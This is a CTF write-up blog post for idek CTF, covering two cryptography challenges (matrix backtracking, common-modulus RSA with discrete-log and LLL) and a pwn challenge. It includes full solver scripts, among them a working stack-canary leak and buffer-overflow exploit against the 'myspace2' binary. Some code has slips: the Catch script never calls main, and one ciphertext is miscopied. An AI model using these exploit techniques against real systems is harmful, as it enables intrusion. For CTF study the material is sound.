During the weekend, I participated in Idek CTF... which is something new to me 😅
# CryptoGraphy
## Catch

**Challenge:** In this 20-round challenge, we must find the secret sequence of matrix transformations a "cat" uses to move from a starting coordinate to a final one.
chall.py
```python
from Crypto.Random.random import randint, choice
import os
# In a realm where curiosity roams free, our fearless cat sets out on an epic journey.
# Even the cleverest feline must respect the boundaries of its world—this magical limit holds all wonders within.
limit = 0xe5db6a6d765b1ba6e727aa7a87a792c49bb9ddeb2bad999f5ea04f047255d5a72e193a7d58aa8ef619b0262de6d25651085842fd9c385fa4f1032c305f44b8a4f92b16c8115d0595cebfccc1c655ca20db597ff1f01e0db70b9073fbaa1ae5e489484c7a45c215ea02db3c77f1865e1e8597cb0b0af3241cd8214bd5b5c1491f
# Through cryptic patterns, our cat deciphers its next move.
def walking(x, y, part):
# Each step is guided by a fragment of the cat's own secret mind.
epart = [int.from_bytes(part[i:i+2], "big") for i in range(0, len(part), 2)]
xx = epart[0] * x + epart[1] * y
yy = epart[2] * x + epart[3] * y
return xx, yy
# Enter the Cat: curious wanderer and keeper of hidden paths.
class Cat:
def __init__(self):
# The cat's starting position is born of pure randomness.
self.x = randint(0, 2**256)
self.y = randint(0, 2**256)
# Deep within, its mind holds a thousand mysterious fragments.
while True:
self.mind = os.urandom(1000)
self.step = [self.mind[i:i+8] for i in range(0, 1000, 8)]
if len(set(self.step)) == len(self.step):
break
# The epic chase begins: the cat ponders and strides toward the horizon.
def moving(self):
for _ in range(30):
# A moment of reflection: choose a thought from the cat's endless mind.
part = choice(self.step)
self.step.remove(part)
# With each heartbeat, the cat takes a cryptic step.
xx, yy = walking(self.x, self.y, part)
self.x, self.y = xx, yy
# When the wild spirit reaches the edge, it respects the boundary and pauses.
if self.x > limit or self.y > limit:
self.x %= limit
self.y %= limit
break
# When the cosmos beckons, the cat reveals its secret coordinates.
def position(self):
return (self.x, self.y)
# Adventurer, your quest: find and connect with 20 elusive cats.
for round in range(20):
try:
print(f"👉 Hunt {round+1}/20 begins!")
cat = Cat()
# At the start, you and the cat share the same starlit square.
human_pos = cat.position()
print(f"🐱✨ Co-location: {human_pos}")
print(f"🔮 Cat's hidden mind: {cat.mind.hex()}")
# But the cat, ever playful, dashes into the unknown...
cat.moving()
print("😸 The chase is on!")
print(f"🗺️ Cat now at: {cat.position()}")
# Your turn: recall the cat's secret path fragments to catch up.
mind = bytes.fromhex(input("🤔 Path to recall (hex): "))
# Step by step, follow the trail the cat has laid.
for i in range(0, len(mind), 8):
part = mind[i:i+8]
if part not in cat.mind:
print("❌ Lost in the labyrinth of thoughts.")
exit()
human_pos = walking(human_pos[0], human_pos[1], part)
# At last, if destiny aligns...
if human_pos == cat.position():
print("🎉 Reunion! You have found your feline friend! 🐾")
else:
print("😿 The path eludes you... Your heart aches.")
exit()
except Exception:
print("🙀 A puzzle too tangled for tonight. Rest well.")
exit()
# Triumph at last: the final cat yields the secret prize.
print(f"🏆 Victory! The treasure lies within: {open('flag.txt').read()}")
```
### Analysis
The core of the challenge is a linear transformation. In each step, the cat's 2D position vector $v_{old}$ is multiplied by a $2 \times 2$ matrix $M$ to get its new position $v_{new}$:
$$\begin{pmatrix} x_{new} \\ y_{new} \end{pmatrix} = M \begin{pmatrix} x_{old} \\ y_{old} \end{pmatrix}$$
For each round, we are given:
* An initial position $v_0 = (x_0, y_0)$.
* A final position $v_f = (x_f, y_f)$.
* A set of 125 unique 8-byte "parts," each corresponding to a unique $2 \times 2$ transformation matrix $M$.
The script reveals that the cat performs **30 unique, randomly chosen transformations** in sequence. If the sequence of matrices is $M_1, M_2, \ldots, M_{30}$, the final position is:
$$v_f = M_{30} \cdot M_{29} \cdot \ldots \cdot M_1 \cdot v_0$$
A `limit` check in the code seems to suggest the coordinates might be taken modulo a large number. However, a quick analysis of the bit-length growth shows that the coordinates never grow large enough in 30 steps to exceed the `limit`. Thus, the modulo operation is a red herring, and the problem is purely over the integers.
The primary difficulty is the massive search space. Finding the correct ordered subset of 30 matrices from 125 ($P(125, 30) = \frac{125!}{95!}$) is impossible by brute force.
### Recursive Backtracking
The vulnerability lies in the fact that every intermediate step must result in a vector with **integer coordinates**. This allows us to work backward from the final position.
Let $v_{29}$ be the position just before the final step. The final transformation is $v_f = M_{30} \cdot v_{29}$. We can solve for the previous state $v_{29}$ by inverting the matrix $M_{30}$:
$$v_{29} = M_{30}^{-1} \cdot v_f$$
The inverse of a $2 \times 2$ matrix is $M^{-1} = \frac{1}{\det(M)} \cdot \text{adj}(M)$. For $v_{29}$ to have integer coordinates, the vector multiplication $\text{adj}(M_{30}) \cdot v_f$ must produce a result that is component-wise divisible by $\det(M_{30})$.
This gives us a highly effective way to find the last matrix, $M_{30}$:
1. Iterate through all 125 possible matrices.
2. For each candidate matrix $M_i$, check if $\text{adj}(M_i) \cdot v_f$ is divisible by $\det(M_i)$.
3. The probability of this check passing for an incorrect matrix is extremely low. The one that passes is almost certainly the true $M_{30}$.
Once we find $M_{30}$ and calculate the integer coordinates for $v_{29}$, we can repeat the process recursively to find $M_{29}$, and so on, until we have uncovered the entire 30-step path from $v_0$. This backtracking approach prunes the search tree so effectively that the solution is found almost instantly.
### Solution
exploit.py
```python
from pwn import *
HOST = "catch.chal.idek.team"
PORT = 1337
# Memoization cache for the recursive solver
memo = {}
def get_matrix_from_part(part: bytes) -> list[int]:
"""Parses an 8-byte part into four 2-byte integers."""
return [int.from_bytes(part[i:i+2], "big") for i in range(0, len(part), 2)]
def find_path(v_start: tuple, v_end: tuple, parts_map: dict, k: int) -> list | None:
"""
Recursively finds the sequence of k parts to get from v_start to v_end.
"""
# Memoization key: (start_pos, end_pos, available_parts_tuple, num_steps)
state = (v_start, v_end, tuple(sorted(parts_map.keys())), k)
if state in memo:
return memo[state]
if k == 0:
return [] if v_start == v_end else None
x_start, y_start = v_start
x_end, y_end = v_end
# Search backwards from v_end
for part_hex, part_bytes in parts_map.items():
e = get_matrix_from_part(part_bytes)
# M = [[e0, e1], [e2, e3]]
det = e[0] * e[3] - e[1] * e[2]
if det == 0:
continue
# Calculate potential previous state: v_prev = adj(M) * v_end
x_prev_num = e[3] * x_end - e[1] * y_end
y_prev_num = -e[2] * x_end + e[0] * y_end
# Check for integer coordinates, which is the key constraint
if x_prev_num % det == 0 and y_prev_num % det == 0:
x_prev = x_prev_num // det
y_prev = y_prev_num // det
# Recurse with the smaller problem
remaining_parts = parts_map.copy()
del remaining_parts[part_hex]
path_result = find_path((x_start, y_start), (x_prev, y_prev), remaining_parts, k - 1)
if path_result is not None:
# Path found, construct solution and store in memo
solution = path_result + [part_bytes]
memo[state] = solution
return solution
# No path found from this state
memo[state] = None
return None
def solve_round(io: remote):
"""Parses a round's data and initiates the solver."""
io.recvuntil(b"Co-location: (")
x0 = int(io.recvuntil(b",", drop=True))
y0 = int(io.recvuntil(b")", drop=True))
io.recvuntil(b"Cat's hidden mind: ")
mind_hex = io.recvline().strip().decode()
io.recvuntil(b"Cat now at: (")
xf = int(io.recvuntil(b",", drop=True))
yf = int(io.recvuntil(b")", drop=True))
mind_bytes = bytes.fromhex(mind_hex)
parts_map = {mind_bytes[i:i+8].hex(): mind_bytes[i:i+8] for i in range(0, len(mind_bytes), 8)}
k = 30
log.info(f"Solving for k={k} steps...")
path = find_path((x0, y0), (xf, yf), parts_map, k)
if path:
solution_hex = b"".join(path).hex()
log.success("Path found!")
# pwntools handles str->bytes encoding automatically, no b"" needed for the prompt
io.sendlineafter("🤔 Path to recall (hex): ".encode(), solution_hex.encode())
else:
log.error("Failed to find a path for this round.")
io.close()
def main():
"""Main function to run the solver for all rounds."""
with remote(HOST, PORT) as io:
for i in range(20):
log.info(f"--- Starting Round {i + 1}/20 ---")
memo.clear() # Clear memoization cache for each new round
solve_round(io)
log.info(io.recvline().strip().decode()) # Print success message
flag = io.recvall().decode()
log.success(flag)
if __name__ == "__main__":
main
```

> Flag: idek{Catch_and_cat_sound_really_similar_haha}
---
## Diamond Ticket

This crypto challenge was a fun, multi-stage problem involving a common modulus attack, a tricky discrete logarithm problem solved with polynomial GCDs, and finally, a lattice attack to recover the full flag from partial information.
chall.py
```python
from Crypto.Util.number import *
#Some magic from Willy Wonka
p = 170829625398370252501980763763988409583
a = 164164878498114882034745803752027154293
b = 125172356708896457197207880391835698381
def chocolate_generator(m:int) -> int:
return (pow(a, m, p) + pow(b, m, p)) % p
#The diamond ticket is hiding inside chocolate
diamond_ticket = open("flag.txt", "rb").read()
assert len(diamond_ticket) == 26
assert diamond_ticket[:5] == b"idek{"
assert diamond_ticket[-1:] == b"}"
diamond_ticket = bytes_to_long(diamond_ticket[5:-1])
flag_chocolate = chocolate_generator(diamond_ticket)
chocolate_bag = []
#Willy Wonka are making chocolates
for i in range(1337):
chocolate_bag.append(getRandomRange(1, p))
#And he put the golden ticket at the end
chocolate_bag.append(flag_chocolate)
#Augustus ate lots of chocolates, but he can't eat all cuz he is full now :D
remain = chocolate_bag[-5:]
#Compress all remain chocolates into one
remain_bytes = b"".join([c.to_bytes(p.bit_length()//8, "big") for c in remain])
#The last chocolate is too important, so Willy Wonka did magic again
P = getPrime(512)
Q = getPrime(512)
N = P * Q
e = bytes_to_long(b"idek{this_is_a_fake_flag_lolol}")
d = pow(e, -1, (P - 1) * (Q - 1))
c1 = pow(bytes_to_long(remain_bytes), e, N)
c2 = pow(bytes_to_long(remain_bytes), 2, N) # A small gift
#How can you get it ?
print(f"{N = }")
print(f"{c1 = }")
print(f"{c2 = }")
"""
N = 85494791395295332945307239533692379607357839212287019473638934253301452108522067416218735796494842928689545564411909493378925446256067741352255455231566967041733698260315140928382934156213563527493360928094724419798812564716724034316384416100417243844799045176599197680353109658153148874265234750977838548867
c1 = 27062074196834458670191422120857456217979308440332928563784961101978948466368298802765973020349433121726736536899260504828388992133435359919764627760887966221328744451867771955587357887373143789000307996739905387064272569624412963289163997701702446706106089751532607059085577031825157942847678226256408018301
c2 = 30493926769307279620402715377825804330944677680927170388776891152831425786788516825687413453427866619728035923364764078434617853754697076732657422609080720944160407383110441379382589644898380399280520469116924641442283645426172683945640914810778133226061767682464112690072473051344933447823488551784450844649
"""
```
### Part 1: Recovering the Message recovering remain_bytes
We are given two ciphertexts under the same modulus $N$:
- $c_1 = rb^e \bmod N$
- $c_2 = rb^2 \bmod N$
Since $e$ and $2$ are coprime, this is a classic common modulus attack. We use the Extended Euclidean Algorithm to find integers $x$ and $y$ such that $e x + 2 y = 1$. With $x$ and $y$, we can recover $rb$ directly:
$$
rb = (c_1^x \cdot c_2^y) \bmod N
$$
The last 16 bytes of $rb$ correspond to `flag_chocolate`.
```python
from Crypto.Util.number import *
N = 85494791395295332945307239533692379607357839212287019473638934253301452108522067416218735796494842928689545564411909493378925446256067741352255455231566967041733698260315140928382934156213563527493360928094724419798812564716724034316384416100417243844799045176599197680353109658153148874265234750977838548867
c1 = 270620741968344586701914221208574562179793084403329285637849611019789484663682988027659730203494331217267365368992605048283888992133435359919764627760887966221328744451867771955587357887373143789000307996739905387064272569624412963289163997701702446706106089751532607059085577031825157942847678226256408018301
c2 = 30493926769307279620402715377825804330944677680927170388776891152831425786788516825687413453427866619728035923364764078434617853754697076732657422609080720944160407383110441379382589644898380399280520469116924641442283645426172683945640914810778133226061767682464112690072473051344933447823488551784450844649
e = bytes_to_long(b"idek{this_is_a_fake_flag_lolol}")
x = 1
y = (1 - e) // 2
rb = pow(c1, x, N) * pow(c2, y, N) % N
flag_chocolate = bytes_to_long(rb.to_bytes(80, "big")[-16:])
```
### Part 2: Solving the Discrete Log
After recovering `flag_chocolate` (let's call it `fc`), we had to solve for the diamond ticket ($m$):
$$
a^m + b^m \equiv fc \pmod p
$$
Here, $b$ is some power of $a$: $b = a^j \pmod p$. Substitute and let $s = a^m$:
$$
s^j + s - fc \equiv 0 \pmod p
$$
This polynomial is infeasible to solve by brute force for large $j$. By Fermat's Little Theorem, any solution $s$ must satisfy $s^p \equiv s \pmod p$. So, compute the GCD:
$$
H(s) = \gcd(s^j + s - fc, s^p - s) \pmod p
$$
The roots of $H(s)$ are the possible $s = a^m$.
```python
# SageMath code
p = 170829625398370252501980763763988409583
a = 164164878498114882034745803752027154293
b = 125172356708896457197207880391835698381
flag_chocolate = 99584795316725433978492646071734128819
Fp = GF(p)
j = Fp(b).log(Fp(a)) # j = 73331
x = polygen(Fp)
f = x**j + x - flag_chocolate
g = pow(x, p, f) - x
roots = f.gcd(g).roots()
s = roots[0][0]
m_low = int(Fp(s).log(Fp(a)))
```
*I learned this trick from https://adib.au/2025/lance-hard/#speedup-by-using-gcd and met it again at MaltaCTF 2025 Quals - grammar-nazi. Really cool trick to know!*
### Part 3: Finding the Golden Ticket
The discrete log $m_\text{low}$ gives us the solution modulo $p-1$ (128 bits). The flag is 20 bytes (160 bits), so we need to find the missing upper 32 bits.
We know:
$$
\text{flag} = m_\text{low} + k \cdot (p-1)
$$
Since the flag is a printable ASCII string, we use a lattice reduction (LLL) attack to efficiently search for the correct $k$.
- Construct a lattice encoding the flag structure.
- Use LLL to find short vectors corresponding to printable flags.
- Check candidates for ASCII-printability.
```python
from sage.all import *
from Crypto.Util.number import *
from cpmpy import *
order = p - 1
flag_byte_len = 20
nn = (p - 1) // 2
xx = m_low
for ii in range(2):
x_candidate = xx + ii * nn
B = Matrix(ZZ, flag_byte_len + 1, flag_byte_len + 1)
B[0,0] = 1
for i in range(flag_byte_len):
B[i+1, i] = 1
B[0, i+1] = -(256**i)
B[0, flag_byte_len] = x_candidate
B[flag_byte_len, flag_byte_len] = order
L = B.LLL()
for row in L:
flag_bytes = b""
possible = True
for val in row[:-1]:
if 32 <= val <= 126:
flag_bytes += int(val).to_bytes(1, 'big')
else:
possible = False
break
if possible and len(flag_bytes) == flag_byte_len:
print(f"[+] Found potential flag: {flag_bytes.decode()}")
if "tks" in flag_bytes.decode():
print(f"\n[!] Final Flag: idek{{{flag_bytes.decode()}}}")
exit()
```
### Solution
```python
# Full exploit script requires SageMath environment
from sage.all import *
from Crypto.Util.number import *
N = 85494791395295332945307239533692379607357839212287019473638934253301452108522067416218735796494842928689545564411909493378925446256067741352255455231566967041733698260315140928382934156213563527493360928094724419798812564716724034316384416100417243844799045176599197680353109658153148874265234750977838548867
c1 = 27062074196834458670191422120857456217979308440332928563784961101978948466368298802765973020349433121726736536899260504828388992133435359919764627760887966221328744451867771955587357887373143789000307996739905387064272569624412963289163997701702446706106089751532607059085577031825157942847678226256408018301
c2 = 30493926769307279620402715377825804330944677680927170388776891152831425786788516825687413453427866619728035923364764078434617853754697076732657422609080720944160407383110441379382589644898380399280520469116924641442283645426172683945640914810778133226061767682464112690072473051344933447823488551784450844649
e = bytes_to_long(b"idek{this_is_a_fake_flag_lolol}")
Zn = Zmod(N)
PR, x = PolynomialRing(Zn, 'x').objgen()
f2 = x**2 - c2
QR, y = PR.quotient(f2, 'y').objgen()
f1 = y**e - c1
flag_chocolate = bytes_to_long(int(-f1[0]/f1[1]).to_bytes(128, "big")[-16:])
print(f"{flag_chocolate = }")
p = 170829625398370252501980763763988409583
a = 164164878498114882034745803752027154293
b = 125172356708896457197207880391835698381
Fp = GF(p)
j = Fp(b).log(Fp(a))
print(f"{j = }")
x = polygen(Fp)
print("Calculate f")
f = x**j + x - flag_chocolate
print("Calculate g")
g = pow(x, p, f) - x
print("Gcd")
roots = f.gcd(g).roots()
print(roots)
rlog = []
for c, _ in roots:
try:
rlog.append(int(Fp(c).log(Fp(a))))
print(c)
except:
continue
print(len(rlog))
from cpmpy import *
import re
nn = 85414812699185126250990381881994204791
xx = rlog[0]
for ii in range(10):
x = xx + ii * nn
print(x)
M = matrix(20, 20)
M[0,0] = p - 1
for i in range(19):
M[i+1,i:i+2] = [[-256, 1]]
M = M.LLL().rows()
x_vec = [(x >> 8*i) & 0xff for i in range(20)]
M += [tuple(x_vec)]
m = Matrix(M)
def disp():
flag = bytes(x.value())[-8::-8].decode()
if re.fullmatch(r'\w+', flag):
print(flag, '<--- WIN')
else:
print(flag)
x = cpm_array(list(intvar(-9999, 9999, 20)) + [1]) @ m[:]
Model([x >= 32, x <= 122]).solveAll(display=disp)
```
After running the lattice attack, the script finds the plaintext: `tks_f0r_ur_t1ck3t_xD` --> you win

> Flag: idek{tks_f0r_ur_t1ck3t_xD}
*I love author [Giáp](https://giapppp.github.io/)* 🥰
# Pwn

This challenge requiring the player to exploit a C program to gain control and read the contents of the flag file. The solution involves chaining two common vulnerabilities: an information leak to bypass the stack canary protection and a buffer overflow to hijack the program's control flow.
## Vulnerability Analysis
After analyzing the program's source code and behavior, we identified two critical security vulnerabilities:
### Vuln 1: Stack Buffer Overflow
The main vulnerability lies in the `edit_friend` function

```c
void edit_friend(char (*top_friends)[8]) {
// ...
puts("Enter new name: ");
fgets(top_friends[iVar2], 0x100, stdin); // VULN IS HERE
// ...
}
```
- The `fgets` function is configured to read up to 0x100 (256) bytes of data from the user.
- However, the destination buffer is only 8 bytes, leading to a **stack buffer overflow**.
- This allows overwriting the **saved RBP** and **return address**.
### Vuln 2: Information Leak
To bypass the stack canary protection, exploit another in the `display_friend` function

```c
void display_friend(char (*top_friends)[8]) {
// ... (gets index from user)
write(1, top_friends + iVar2, 8); // VULN IS HERE
// ...
}
```
- This function prints exactly 8 bytes from the selected memory region.
- Due to a possible **index validation bug** (e.g., signed/unsigned comparison), it’s possible to **read out-of-bounds** memory.
- This enables leaking the **stack canary** located at `rbp - 0x8`.
### Another func
`main`
```c
/* WARNING: Unknown calling convention */
int main(void)
{
long lVar1;
int iVar2;
long in_FS_OFFSET;
int option;
char top_friends [8] [8];
char buf [40];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
puts("I really miss MySpace. At least the part about ranking my friends. Let\'s recreate it!");
builtin_strncpy(top_friends[0],"es3n1n",7);
top_friends[0][7] = '\0';
builtin_strncpy(top_friends[1],"Zero",5);
top_friends[1][5] = '\0';
top_friends[1][6] = '\0';
top_friends[1][7] = '\0';
builtin_strncpy(top_friends[2],"Contron",8);
builtin_strncpy(top_friends[3],"mixy1",6);
top_friends[3][6] = '\0';
top_friends[3][7] = '\0';
builtin_strncpy(top_friends[4],"JoshL",6);
top_friends[4][6] = '\0';
top_friends[4][7] = '\0';
builtin_strncpy(top_friends[5],"Giapppp",8);
builtin_strncpy(top_friends[6],"Icesfont",8);
builtin_strncpy(top_friends[7],"arcticx",8);
LAB_00401636:
menu();
fgets(buf,0x28,stdin);
iVar2 = FUN_00401160(buf);
if (iVar2 == 4) {
if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
if (iVar2 < 5) {
if (iVar2 == 3) {
display_friend(top_friends);
goto LAB_00401636;
}
if (iVar2 < 4) {
if (iVar2 == 1) {
all_friends(top_friends);
}
else {
if (iVar2 != 2) goto LAB_004016cd;
edit_friend(top_friends);
}
goto LAB_00401636;
}
}
LAB_004016cd:
puts("Invalid option.");
goto LAB_00401636;
}
```
`get_flag`

## Exploit
The attack is carried out in two main stages:
### Stage 1: Leak the Stack Canary
- Call `display_friend` (option 3).
- The canary is located at offset `(0x70 - 0x8)/8 = 13`.
- Input index = 13 to leak it.
- The program prints `Invalid index!` before printing the canary — skip this line and read the next 8 bytes.
### Stage 2: Buffer Overflow and Hijack Control Flow
- Call `edit_friend` (option 2).
- Create a payload:
- 104 bytes padding
- 8-byte canary
- 8-byte filler for saved RBP
- 8-byte address of `get_flag` function (`0x40129d`)
- Quit the program → `main` returns → control jumps to `get_flag()` → reads the flag.
## Solution
exploit.py
```python
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./myspace2', checksec=False)
p = remote('myspace2.chal.idek.team', 1337)
# STEP 1: LEAK THE STACK CANARY
log.info("Leaking the stack canary...")
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'(0-7): ', b'13') # index 13 to leak canary
p.recvuntil(b'Invalid index!\n') # skip the error message
canary = u64(p.recvn(8))
log.success(f"Canary leaked successfully: {hex(canary)}")
# STEP 2: CRAFT PAYLOAD AND OVERWRITE
get_flag_address = elf.symbols['get_flag']
log.info("Crafting the exploit payload...")
payload = flat([
b'A' * 104, # padding
canary, # leaked canary
b'B' * 8, # filler for saved RBP
get_flag_address # return address → get_flag
])
log.info(f"Payload ready. Redirecting execution to get_flag() at {hex(get_flag_address)}")
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'(0-7): ', b'0') # any index
p.sendlineafter(b'new name: ', payload)
# STEP 3: TRIGGER AND GET THE FLAG
log.info("Triggering exploit by quitting the program...")
p.sendlineafter(b'>> ', b'4')
flag = p.recvall().decode().strip()
log.success(f"Exploit successful! FLAG: {flag}")
```

> Flag: idek{b4bys_1st_c00k1e_leak_yayyy!}